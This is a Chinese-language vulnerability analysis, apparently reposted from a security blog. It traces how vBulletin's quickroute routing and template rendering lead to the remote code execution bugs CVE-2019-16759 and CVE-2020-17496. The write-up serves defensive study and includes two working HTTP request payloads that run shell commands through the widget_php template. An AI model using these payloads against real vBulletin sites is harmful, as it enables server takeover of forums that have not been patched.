作者:D4ck
來源:https://www.anquanke.com/post/id/215233
8月10日,安全研究人員Amir Etemadieh披露了vBulletin 論壇的嚴重漏洞,該漏洞繞過了去年vBulletin 論壇 CVE-2019-16759漏洞補丁,能夠實現遠程命令執行。本文從環境搭建到漏洞調試,詳細的分析漏洞產生的過程。
0x01 vBulletin簡介
vBulletin是美國InternetBrands和vBulletinSolutions公司的一款基于PHP和MySQL的開源Web論壇程序,同時世界上用戶非常廣泛的PHP論壇,很多大型論壇都選擇vBulletin作為自己的社區,因此此次漏洞危害重大。
此次漏洞使用范圍vBulletin 5.5.4 ~ 5.6.2 。
0x02 調試環境搭建
0x1 網站搭建
vBulletin 代碼不開源使得環境搭建異常復雜,之前的p8361/vbulletin-cve-2015-7808 docker 環境為vBulletin v5.1.5版本太老了,數據庫中沒有widget_tabbedcontainer_tab_panel模板,因此又在其他地方找到了符合漏洞版本的源代碼。 具體的搭建細節可以參照 https://www.secshi.com/19016.html

0x2 xdebug安裝
apt install php-xdebug
并在apache2/php.ini配置文件中添加如下配置
;/etc/php/7.2/apache2/php.ini
[xdebug]
zend_extension="/usr/lib/php/20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host = "127.0.0.1"
xdebug.idekey="PHPSTORM"
xdebug.remote_handler=dbgp
xdebug.remote_port=9000
0x03 vBulletin路由分析
由于CVE-2019-16759和 CVE-2020-17496 路由處理相同,我們在這主要分析vBulletin quickroute 部分的路由關系
0x1 自動加載
vBulletin 使用vB5_Autoloader實現類的自動加載。相關代碼如下

利用spl_autoload_register設置自動加載函數為_autoload,并設置好類搜索路徑。
將self::$_paths 中有的類加載到php中。類名和文件名的對應關系如下代碼所示:
protected static function _autoload($class)
{
self::$_autoloadInfo[$class] = array(
'loader' => 'frontend',
);
if (preg_match('/[^a-z0-9_]/i', $class))
{return;}
$fname = str_replace('_', '/', strtolower($class)) . '.php';
foreach (self::$_paths AS $path)
{
if (file_exists($path . $fname))
{
include($path . $fname);
self::$_autoloadInfo[$class]['filename'] = $path . $fname;
self::$_autoloadInfo[$class]['loaded'] = true;
break;
}
}
}
0x2 quick路由檢測
這里是vBulletin QuickRoute檢測分支,CVE-2019-16759和 CVE-2020-17496都是在此分支中觸發。

QuickRoute檢測函數如下:

主要檢測了url中是否為下面開頭:
ajax/api/options/fetchValues
filedata/fetch
external
ajax/apidetach
ajax/api
ajax/render
0x3 路由分發
vB5_Frontend_ApplicationLight中的execute函數負責路由分發

該函數將POST和GET參數整合了之后賦值給了$serverData ,在判斷
application[handler] 是否存在后利用call_user_func 調用分發,此時的調用
函數為callRender。
進入callRender函數,該函數將路由路徑切割成了路由參數。

之后設置route信息,并由vB5_Template的staticRenderAjax函數統一處理。
調用處理函數

0x4 路由處理
最后由staticRenderAjax函數進行路由處理,由參數可以看出將render之后的參數取出,與需要渲染的參數一同傳入該函數。

0x04 漏洞分析
0x0 模板渲染功能
vB5_Template::staticRender
進入到路由處理函數staticRenderAjax之后,又進入了staticRender函數

在該函數中利用templateName當作參數創建vB5_Template對象

同時將以下參數注冊在template模板對象中

注冊新的自動加載路徑,之后進入render函數

vB5_Template->render
在render函數的入口處存在一個變量覆蓋,將傳入的POST和GET參數可直接生成以key為名,以value為值的php變量。如下圖所示:


模板獲取
再之后就是通過getTemplate 函數以及template 名稱獲取 template 內容

不在緩存中的模板重新獲取

獲取模板id號,并調用 Api_InterfaceAbstract

通過一系列調用,到達 template.php:123, vB_Library_Template->fetchBulk(),并在其中利用sql查詢將模板取出。

對應從數據庫中的取模板代碼

查詢語句如下


執行渲染模板

0x1 CVE-2019-16759
payload
分析過模板渲染,該漏洞就一幕了然了,首先看下payload
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close
routestring=ajax/render/widget_php&widgetConfig[code]=system('whoami');
模板渲染漏洞
該漏洞產生的原因為 widget_php 對應的模板中存在惡意代碼執行漏洞,數據庫中存儲的templateid號為

主要命令執行點為
vB5_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code'])

命令執行點分析
vB5_Template_Runtime::parseAction 該函數雖然沒有函數參數,但是解析了傳遞過來的所有參數到$arguments 變量由 vB5_Frontend_Controller_Bbcode類中的evalCode方法執行所有的參數

evalCode方法如下:

0x2 CVE-2020-17496
結合前面模板渲染功能分析,可以很快的定位該漏洞。簡要來說該漏洞通過二次渲染再次觸發了CVE-2019-16759漏洞,具體分析如下。
payload
POST /ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm HTTP/1.1
Host: localhost
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 100
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("pwd"); exit;
第一次渲染
通過分析該代碼得到在eval渲染過模板之后,會調用$templateCache->replacePlaceholders($final_rendered) 該函數會實現第二次模板的獲取和渲染,然而通過精心構造第二次渲染的內容,可以完美的觸發之前的漏洞。
$templateCode = $templateCache->getTemplate($this->template);
if(is_array($templateCode) AND !empty($templateCode['textonly']))
{
$final_rendered = $templateCode['placeholder'];
}
else if($templateCache->isTemplateText())
{
eval($templateCode);
}
else
{
if ($templateCode !== false)
{
include($templateCode);
}
}
if ($config->render_debug)
{
restore_error_handler();
restore_exception_handler();
}
if ($config->no_template_notices)
{
error_reporting($oldReporting);
}
// always replace placeholder for templates, as they are process by levels
$templateCache->replacePlaceholders($final_rendered);
第二次渲染
接著第一次渲染看,從當前代碼中看出了如果 $missing非空,就會再次去調用fetchTemlate函數獲取新的模板。

array_diff 這個函數會把第一個數組參數中與其他參數不同的地方記錄下來并返回,之后重新去查找并渲染該模板。更有趣的是這個重新加載的模板我們可控,代碼如下

下圖為pending被注冊的代碼,其實該代碼為第一次渲染出來的代碼中的一部分,然后在第二次渲染時用到了第一次渲染時注冊的變量。


觸發漏洞
這之后其實跟CVE-2019-16759一毛一樣了

0x05 參考文獻
相關源碼:
https://github.com/ctlyz123/CVE-2020-17496
參考鏈接:
http://foreversong.cn/archives/1415
https://www.seebug.org/vuldb/ssvid-98336
https://xz.aliyun.com/t/6419
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1310/
暫無評論